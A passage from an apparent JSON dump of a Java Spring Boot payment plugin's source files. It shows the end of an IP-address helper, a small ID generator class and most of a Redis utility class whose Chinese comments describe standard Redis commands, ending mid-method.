\"***.***.***.***\".length()\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t\t// = 15\n\t\t\tif (ipAddress.indexOf(\",\") > 0) {\n\t\t\t\tipAddress = ipAddress.substring(0, ipAddress.indexOf(\",\"));\n\t\t\t}\n\t\t}\n\t\treturn ipAddress;\n\t}\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/util/IdKit.java",
    "content": "package com.springboot.util;\n\nimport java.text.SimpleDateFormat;\nimport java.util.Date;\nimport java.util.UUID;\n\n/**\n * 编号生成\n * \n * @author lenovo\n *\n */\npublic class IdKit {\n\n\t/**\n\t * getUUID\n\t * \n\t * @return String\n\t */\n\tpublic static String getUUID() {\n\t\treturn UUID.randomUUID().toString().replace(\"-\", \"\").toLowerCase();\n\t}\n\n\t/**\n\t * <pre>\n\t * 时间编号\n\t * 取时间的 年月日时分秒(yyyyMMddHHmmss)\n\t * </pre>\n\t * \n\t * @return\n\t */\n\tpublic static String getDateId(String suffix) {\n\t\tDate currentTime = new Date();\n\t\tSimpleDateFormat formatter = new SimpleDateFormat(\"yyyyMMddHHmmss\");\n\t\treturn formatter.format(currentTime) + suffix;\n\t}\n\n\tpublic static void main(String[] args) {\n\t\tSystem.out.println(getDateId(\"\"));\n\t}\n\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_pay/src/main/java/com/springboot/util/JedisUtil.java",
    "content": "package com.springboot.util;\n\nimport java.io.ByteArrayInputStream;\nimport java.io.ByteArrayOutputStream;\nimport java.io.IOException;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.HashSet;\nimport java.util.LinkedHashSet;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Map.Entry;\nimport java.util.Set;\n\nimport org.apache.commons.lang3.StringUtils;\nimport org.apache.log4j.Logger;\nimport org.nustaq.serialization.FSTObjectInput;\nimport org.nustaq.serialization.FSTObjectOutput;\n\nimport redis.clients.jedis.BinaryJedisPubSub;\nimport redis.clients.jedis.Jedis;\nimport redis.clients.jedis.JedisPool;\nimport redis.clients.jedis.JedisPoolConfig;\nimport redis.clients.util.SafeEncoder;\n\n/**\n * Redis工具类\n * \n * @author lenovo\n *\n */\npublic class JedisUtil {\n\tprivate final static CachePool me = new CachePool(PropKit.get(\"jedis.pool.ip\"), PropKit.getInt(\"jedis.pool.port\"));\n\n\t/**\n\t * 存放 key value 对到 redis 如果 key 已经持有其他值， SET 就覆写旧值，无视类型。\n\t * 对于某个原本带有生存时间（TTL）的键来说， 当 SET 命令成功在这个键上执行时， 这个键原有的 TTL 将被清除。\n\t */\n\tpublic static String set(Object key, Object value) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.set(keyToBytes(key), valueToBytes(value));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 存放 key value 对到 redis，并将 key 的生存时间设为 seconds (以秒为单位)。 如果 key 已经存在， SETEX\n\t * 命令将覆写旧值。\n\t */\n\tpublic static String setex(Object key, int seconds, Object value) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.setex(keyToBytes(key), seconds, valueToBytes(value));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回 key 所关联的 value 值 如果 key 不存在那么返回特殊值 nil 。\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static <T> T get(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn (T) valueFromBytes(jedis.get(keyToBytes(key)));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 删除给定的一个 key 不存在的 key 会被忽略。\n\t */\n\tpublic static Long del(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.del(keyToBytes(key));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 删除给定的多个 key 不存在的 key 会被忽略。\n\t */\n\tpublic static Long del(Object... keys) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.del(keysToBytesArray(keys));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 查找所有符合给定模式 pattern 的 key 。 KEYS * 匹配数据库中所有 key 。 KEYS h?llo 匹配 hello ，\n\t * hallo 和 hxllo 等。 KEYS h*llo 匹配 hllo 和 heeeeello 等。 KEYS h[ae]llo 匹配 hello\n\t * 和 hallo ，但不匹配 hillo 。 特殊符号用 \\ 隔开\n\t */\n\tpublic static Set<String> keys(String pattern) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.keys(pattern);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 同时设置一个或多个 key-value 对。 如果某个给定 key 已经存在，那么 MSET\n\t * 会用新值覆盖原来的旧值，如果这不是你所希望的效果，请考虑使用 MSETNX 命令：它只会在所有给定 key 都不存在的情况下进行设置操作。\n\t * MSET 是一个原子性(atomic)操作，所有给定 key 都会在同一时间内被设置，某些给定 key 被更新而另一些给定 key\n\t * 没有改变的情况，不可能发生。\n\t * \n\t * <pre>\n\t * 例子：\n\t * Cache cache = RedisKit.use();\t\t\t// 使用 Redis 的 cache\n\t * cache.mset(\"k1\", \"v1\", \"k2\", \"v2\");\t\t// 放入多个 key value 键值对\n\t * List list = cache.mget(\"k1\", \"k2\");\t\t// 利用多个键值得到上面代码放入的值\n\t * </pre>\n\t */\n\tpublic static String mset(Object... keysValues) {\n\t\tif (keysValues.length % 2 != 0)\n\t\t\tthrow new IllegalArgumentException(\"wrong number of arguments for met, keysValues length can not be odd\");\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tbyte[][] kv = new byte[keysValues.length][];\n\t\t\tfor (int i = 0; i < keysValues.length; i++) {\n\t\t\t\tif (i % 2 == 0)\n\t\t\t\t\tkv[i] = keyToBytes(keysValues[i]);\n\t\t\t\telse\n\t\t\t\t\tkv[i] = valueToBytes(keysValues[i]);\n\t\t\t}\n\t\t\treturn jedis.mset(kv);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回所有(一个或多个)给定 key 的值。 如果给定的 key 里面，有某个 key 不存在，那么这个 key 返回特殊值 nil\n\t * 。因此，该命令永不失败。\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static List mget(Object... keys) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tbyte[][] keysBytesArray = keysToBytesArray(keys);\n\t\t\tList<byte[]> data = jedis.mget(keysBytesArray);\n\t\t\treturn valueListFromBytesList(data);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 将 key 中储存的数字值减一。 如果 key 不存在，那么 key 的值会先被初始化为 0 ，然后再执行 DECR 操作。\n\t * 如果值包含错误的类型，或字符串类型的值不能表示为数字，那么返回一个错误。 本操作的值限制在 64 位(bit)有符号数字表示之内。\n\t * 关于递增(increment) / 递减(decrement)操作的更多信息，请参见 INCR 命令。\n\t */\n\tpublic static Long decr(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.decr(keyToBytes(key));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 将 key 所储存的值减去减量 decrement 。 如果 key 不存在，那么 key 的值会先被初始化为 0 ，然后再执行 DECRBY\n\t * 操作。 如果值包含错误的类型，或字符串类型的值不能表示为数字，那么返回一个错误。 本操作的值限制在 64 位(bit)有符号数字表示之内。\n\t * 关于更多递增(increment) / 递减(decrement)操作的更多信息，请参见 INCR 命令。\n\t */\n\tpublic static Long decrBy(Object key, long longValue) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.decrBy(keyToBytes(key), longValue);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 将 key 中储存的数字值增一。 如果 key 不存在，那么 key 的值会先被初始化为 0 ，然后再执行 INCR 操作。\n\t * 如果值包含错误的类型，或字符串类型的值不能表示为数字，那么返回一个错误。 本操作的值限制在 64 位(bit)有符号数字表示之内。\n\t */\n\tpublic static Long incr(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.incr(keyToBytes(key));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 将 key 所储存的值加上增量 increment 。 如果 key 不存在，那么 key 的值会先被初始化为 0 ，然后再执行 INCRBY\n\t * 命令。 如果值包含错误的类型，或字符串类型的值不能表示为数字，那么返回一个错误。 本操作的值限制在 64 位(bit)有符号数字表示之内。\n\t * 关于递增(increment) / 递减(decrement)操作的更多信息，参见 INCR 命令。\n\t */\n\tpublic static Long incrBy(Object key, long longValue) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.incrBy(keyToBytes(key), longValue);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 检查给定 key 是否存在。\n\t */\n\tpublic static boolean exists(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.exists(keyToBytes(key));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 从当前数据库中随机返回(不删除)一个 key 。\n\t */\n\tpublic static String randomKey() {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.randomKey();\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 将 key 改名为 newkey 。 当 key 和 newkey 相同，或者 key 不存在时，返回一个错误。 当 newkey 已经存在时，\n\t * RENAME 命令将覆盖旧值。\n\t */\n\tpublic static String rename(Object oldkey, Object newkey) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.rename(keyToBytes(oldkey), keyToBytes(newkey));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 将当前数据库的 key 移动到给定的数据库 db 当中。 如果当前数据库(源数据库)和给定数据库(目标数据库)有相同名字的给定 key ，或者\n\t * key 不存在于当前数据库，那么 MOVE 没有任何效果。 因此，也可以利用这一特性，将 MOVE\n\t * 当作锁(locking)原语(primitive)。\n\t */\n\tpublic static Long move(Object key, int dbIndex) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.move(keyToBytes(key), dbIndex);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 将 key 原子性地从当前实例传送到目标实例的指定数据库上，一旦传送成功， key 保证会出现在目标实例上，而当前实例上的 key 会被删除。\n\t */\n\tpublic static String migrate(String host, int port, Object key, int destinationDb, int timeout) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.migrate(valueToBytes(host), port, keyToBytes(key), destinationDb, timeout);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 切换到指定的数据库，数据库索引号 index 用数字值指定，以 0 作为起始索引值。 默认使用 0 号数据库。 注意：在 Jedis\n\t * 对象被关闭时，数据库又会重新被设置为初始值，所以本方法 select(...) 正常工作需要使用如下方式之一： 1：使用\n\t * RedisInterceptor，在本线程内共享同一个 Jedis 对象 2：使用 Redis.call(ICallback) 进行操作\n\t * 3：自行获取 Jedis 对象进行操作\n\t */\n\tpublic static String select(int databaseIndex) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.select(databaseIndex);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 为给定 key 设置生存时间，当 key 过期时(生存时间为 0 )，它会被自动删除。 在 Redis 中，带有生存时间的 key\n\t * 被称为『易失的』(volatile)。\n\t */\n\tpublic static Long expire(Object key, int seconds) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.expire(keyToBytes(key), seconds);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * EXPIREAT 的作用和 EXPIRE 类似，都用于为 key 设置生存时间。不同在于 EXPIREAT 命令接受的时间参数是 UNIX\n\t * 时间戳(unix timestamp)。\n\t */\n\tpublic static Long expireAt(Object key, long unixTime) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.expireAt(keyToBytes(key), unixTime);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 这个命令和 EXPIRE 命令的作用类似，但是它以毫秒为单位设置 key 的生存时间，而不像 EXPIRE 命令那样，以秒为单位。\n\t */\n\tpublic static Long pexpire(Object key, long milliseconds) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.pexpire(keyToBytes(key), milliseconds);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 这个命令和 EXPIREAT 命令类似，但它以毫秒为单位设置 key 的过期 unix 时间戳，而不是像 EXPIREAT 那样，以秒为单位。\n\t */\n\tpublic static Long pexpireAt(Object key, long millisecondsTimestamp) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.pexpireAt(keyToBytes(key), millisecondsTimestamp);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 将给定 key 的值设为 value ，并返回 key 的旧值(old value)。 当 key 存在但不是字符串类型时，返回一个错误。\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static <T> T getSet(Object key, Object value) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn (T) valueFromBytes(jedis.getSet(keyToBytes(key), valueToBytes(value)));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 移除给定 key 的生存时间，将这个 key 从『易失的』(带生存时间 key )转换成『持久的』(一个不带生存时间、永不过期的 key )。\n\t */\n\tpublic static Long persist(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.persist(keyToBytes(key));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回 key 所储存的值的类型。\n\t */\n\tpublic static String type(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.type(keyToBytes(key));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 以秒为单位，返回给定 key 的剩余生存时间(TTL, time to live)。\n\t */\n\tpublic static Long ttl(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.ttl(keyToBytes(key));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 这个命令类似于 TTL 命令，但它以毫秒为单位返回 key 的剩余生存时间，而不是像 TTL 命令那样，以秒为单位。\n\t */\n\tpublic static Long pttl(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.pttl(keyToBytes(key));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 对象被引用的数量\n\t */\n\tpublic static Long objectRefcount(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.objectRefcount(keyToBytes(key));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 对象没有被访问的空闲时间\n\t */\n\tpublic static Long objectIdletime(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.objectIdletime(keyToBytes(key));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 将哈希表 key 中的域 field 的值设为 value 。 如果 key 不存在，一个新的哈希表被创建并进行 HSET 操作。 如果域\n\t * field 已经存在于哈希表中，旧值将被覆盖。\n\t */\n\tpublic static Long hset(Object key, Object field, Object value) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.hset(keyToBytes(key), fieldToBytes(field), valueToBytes(value));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 同时将多个 field-value (域-值)对设置到哈希表 key 中。 此命令会覆盖哈希表中已存在的域。 如果 key\n\t * 不存在，一个空哈希表被创建并执行 HMSET 操作。\n\t */\n\tpublic static String hmset(Object key, Map<Object, Object> hash) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tMap<byte[], byte[]> para = new HashMap<byte[], byte[]>();\n\t\t\tfor (Entry<Object, Object> e : hash.entrySet())\n\t\t\t\tpara.put(fieldToBytes(e.getKey()), valueToBytes(e.getValue()));\n\t\t\treturn jedis.hmset(keyToBytes(key), para);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回哈希表 key 中给定域 field 的值。\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static <T> T hget(Object key, Object field) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn (T) valueFromBytes(jedis.hget(keyToBytes(key), fieldToBytes(field)));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回哈希表 key 中，一个或多个给定域的值。 如果给定的域不存在于哈希表，那么返回一个 nil 值。 因为不存在的 key\n\t * 被当作一个空哈希表来处理，所以对一个不存在的 key 进行 HMGET 操作将返回一个只带有 nil 值的表。\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static List hmget(Object key, Object... fields) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tList<byte[]> data = jedis.hmget(keyToBytes(key), fieldsToBytesArray(fields));\n\t\t\treturn valueListFromBytesList(data);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 删除哈希表 key 中的一个或多个指定域，不存在的域将被忽略。\n\t */\n\tpublic static Long hdel(Object key, Object... fields) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.hdel(keyToBytes(key), fieldsToBytesArray(fields));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 查看哈希表 key 中，给定域 field 是否存在。\n\t */\n\tpublic static boolean hexists(Object key, Object field) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.hexists(keyToBytes(key), fieldToBytes(field));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回哈希表 key 中，所有的域和值。 在返回值里，紧跟每个域名(field\n\t * name)之后是域的值(value)，所以返回值的长度是哈希表大小的两倍。\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static Map hgetAll(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tMap<byte[], byte[]> data = jedis.hgetAll(keyToBytes(key));\n\t\t\tMap<Object, Object> result = new HashMap<Object, Object>();\n\t\t\tfor (Entry<byte[], byte[]> e : data.entrySet())\n\t\t\t\tresult.put(fieldFromBytes(e.getKey()), valueFromBytes(e.getValue()));\n\t\t\treturn result;\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回哈希表 key 中所有域的值。\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static List hvals(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tList<byte[]> data = jedis.hvals(keyToBytes(key));\n\t\t\treturn valueListFromBytesList(data);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回哈希表 key 中的所有域。 底层实现此方法取名为 hfields 更为合适，在此仅为与底层保持一致\n\t */\n\tpublic static Set<Object> hkeys(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tSet<byte[]> fieldSet = jedis.hkeys(keyToBytes(key));\n\t\t\tSet<Object> result = new HashSet<Object>();\n\t\t\tfieldSetFromBytesSet(fieldSet, result);\n\t\t\treturn result;\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回哈希表 key 中域的数量。\n\t */\n\tpublic static Long hlen(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.hlen(keyToBytes(key));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 为哈希表 key 中的域 field 的值加上增量 increment 。 增量也可以为负数，相当于对给定域进行减法操作。 如果 key\n\t * 不存在，一个新的哈希表被创建并执行 HINCRBY 命令。 如果域 field 不存在，那么在执行命令前，域的值被初始化为 0 。\n\t * 对一个储存字符串值的域 field 执行 HINCRBY 命令将造成一个错误。 本操作的值被限制在 64 位(bit)有符号数字表示之内。\n\t */\n\tpublic static Long hincrBy(Object key, Object field, long value) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.hincrBy(keyToBytes(key), fieldToBytes(field), value);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 为哈希表 key 中的域 field 加上浮点数增量 increment 。 如果哈希表中没有域 field ，那么 HINCRBYFLOAT\n\t * 会先将域 field 的值设为 0 ，然后再执行加法操作。 如果键 key 不存在，那么 HINCRBYFLOAT 会先创建一个哈希表，再创建域\n\t * field ，最后再执行加法操作。 当以下任意一个条件发生时，返回一个错误： 1:域 field 的值不是字符串类型(因为 redis\n\t * 中的数字和浮点数都以字符串的形式保存，所以它们都属于字符串类型） 2:域 field 当前的值或给定的增量 increment\n\t * 不能解释(parse)为双精度浮点数(double precision floating point number) HINCRBYFLOAT\n\t * 命令的详细功能和 INCRBYFLOAT 命令类似，请查看 INCRBYFLOAT 命令获取更多相关信息。\n\t */\n\tpublic static Double hincrByFloat(Object key, Object field, double value) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.hincrByFloat(keyToBytes(key), fieldToBytes(field), value);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回列表 key 中，下标为 index 的元素。 下标(index)参数 start 和 stop 都以 0 为底，也就是说，以 0\n\t * 表示列表的第一个元素，以 1 表示列表的第二个元素，以此类推。 你也可以使用负数下标，以 -1 表示列表的最后一个元素， -2\n\t * 表示列表的倒数第二个元素，以此类推。 如果 key 不是列表类型，返回一个错误。\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\n\t/**\n\t * 返回列表 key 中，下标为 index 的元素。 下标(index)参数 start 和 stop 都以 0 为底，也就是说，以 0\n\t * 表示列表的第一个元素， 以 1 表示列表的第二个元素，以此类推。 你也可以使用负数下标，以 -1 表示列表的最后一个元素， -2\n\t * 表示列表的倒数第二个元素，以此类推。 如果 key 不是列表类型，返回一个错误。\n\t */\n\tpublic static <T> T lindex(Object key, long index) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn (T) valueFromBytes(jedis.lindex(keyToBytes(key), index));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 获取记数器的值\n\t */\n\tpublic static Long getCounter(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tString ret = jedis.get(getKeyName(key));\n\t\t\treturn ret != null ? Long.parseLong(ret) : null;\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回列表 key 的长度。 如果 key 不存在，则 key 被解释为一个空列表，返回 0 . 如果 key 不是列表类型，返回一个错误。\n\t */\n\tpublic static Long llen(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.llen(keyToBytes(key));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 移除并返回列表 key 的头元素。\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static <T> T lpop(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn (T) valueFromBytes(jedis.lpop(keyToBytes(key)));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 将一个或多个值 value 插入到列表 key 的表头 如果有多个 value 值，那么各个 value 值按从左到右的顺序依次插入到表头：\n\t * 比如说， 对空列表 mylist 执行命令 LPUSH mylist a b c ，列表的值将是 c b a ， 这等同于原子性地执行 LPUSH\n\t * mylist a 、 LPUSH mylist b 和 LPUSH mylist c 三个命令。 如果 key 不存在，一个空列表会被创建并执行\n\t * LPUSH 操作。 当 key 存在但不是列表类型时，返回一个错误。\n\t */\n\tpublic static Long lpush(Object key, Object... values) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.lpush(keyToBytes(key), valuesToBytesArray(values));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 将列表 key 下标为 index 的元素的值设置为 value 。 当 index 参数超出范围，或对一个空列表( key 不存在)进行\n\t * LSET 时，返回一个错误。 关于列表下标的更多信息，请参考 LINDEX 命令。\n\t */\n\tpublic static String lset(Object key, long index, Object value) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.lset(keyToBytes(key), index, valueToBytes(value));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 根据参数 count 的值，移除列表中与参数 value 相等的元素。 count 的值可以是以下几种： count > 0 :\n\t * 从表头开始向表尾搜索，移除与 value 相等的元素，数量为 count 。 count < 0 : 从表尾开始向表头搜索，移除与 value\n\t * 相等的元素，数量为 count 的绝对值。 count = 0 : 移除表中所有与 value 相等的值。\n\t */\n\tpublic static Long lrem(Object key, long count, Object value) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.lrem(keyToBytes(key), count, valueToBytes(value));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 返回列表 key 中指定区间内的元素，区间以偏移量 start 和 stop 指定。 下标(index)参数 start 和 stop 都以 0\n\t * 为底，也就是说，以 0 表示列表的第一个元素，以 1 表示列表的第二个元素，以此类推。 你也可以使用负数下标，以 -1 表示列表的最后一个元素，\n\t * -2 表示列表的倒数第二个元素，以此类推。\n\t * \n\t * <pre>\n\t * 例子：\n\t * 获取 list 中所有数据：cache.lrange(listKey, 0, -1);\n\t * 获取 list 中下标 1 到 3 的数据： cache.lrange(listKey, 1, 3);\n\t * </pre>\n\t */\n\t@SuppressWarnings(\"rawtypes\")\n\tpublic static List lrange(Object key, long start, long end) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\tList<byte[]> data = jedis.lrange(keyToBytes(key), start, end);\n\t\t\tif (data != null) {\n\t\t\t\treturn valueListFromBytesList(data);\n\t\t\t} else {\n\t\t\t\treturn new ArrayList<byte[]>(0);\n\t\t\t}\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 对一个列表进行修剪(trim)，就是说，让列表只保留指定区间内的元素，不在指定区间之内的元素都将被删除。 举个例子，执行命令 LTRIM list\n\t * 0 2 ，表示只保留列表 list 的前三个元素，其余元素全部删除。 下标(index)参数 start 和 stop 都以 0\n\t * 为底，也就是说，以 0 表示列表的第一个元素，以 1 表示列表的第二个元素，以此类推。 你也可以使用负数下标，以 -1 表示列表的最后一个元素，\n\t * -2 表示列表的倒数第二个元素，以此类推。 当 key 不是列表类型时，返回一个错误。\n\t */\n\tpublic static String ltrim(Object key, long start, long end) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.ltrim(keyToBytes(key), start, end);\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 移除并返回列表 key 的尾元素。\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static <T> T rpop(Object key) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn (T) valueFromBytes(jedis.rpop(keyToBytes(key)));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 命令 RPOPLPUSH 在一个原子时间内，执行以下两个动作： 将列表 source 中的最后一个元素(尾元素)弹出，并返回给客户端。 将\n\t * source 弹出的元素插入到列表 destination ，作为 destination 列表的的头元素。\n\t */\n\t@SuppressWarnings(\"unchecked\")\n\tpublic static <T> T rpoplpush(Object srcKey, Object dstKey) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn (T) valueFromBytes(jedis.rpoplpush(keyToBytes(srcKey), keyToBytes(dstKey)));\n\t\t} finally {\n\t\t\tclose(jedis);\n\t\t}\n\t}\n\n\t/**\n\t * 将一个或多个值 value 插入到列表 key 的表尾(最右边)。 如果有多个 value 值，那么各个 value\n\t * 值按从左到右的顺序依次插入到表尾：比如 对一个空列表 mylist 执行 RPUSH mylist a b c ，得出的结果列表为 a b c ，\n\t * 等同于执行命令 RPUSH mylist a 、 RPUSH mylist b 、 RPUSH mylist c 。 如果 key\n\t * 不存在，一个空列表会被创建并执行 RPUSH 操作。 当 key 存在但不是列表类型时，返回一个错误。\n\t */\n\tpublic static Long rpush(Object key, Object... values) {\n\t\tJedis jedis = getJedis();\n\t\ttry {\n\t\t\treturn jedis.rpush(keyToBytes(key), valuesToBytesArray(values));\n\t\t} finally 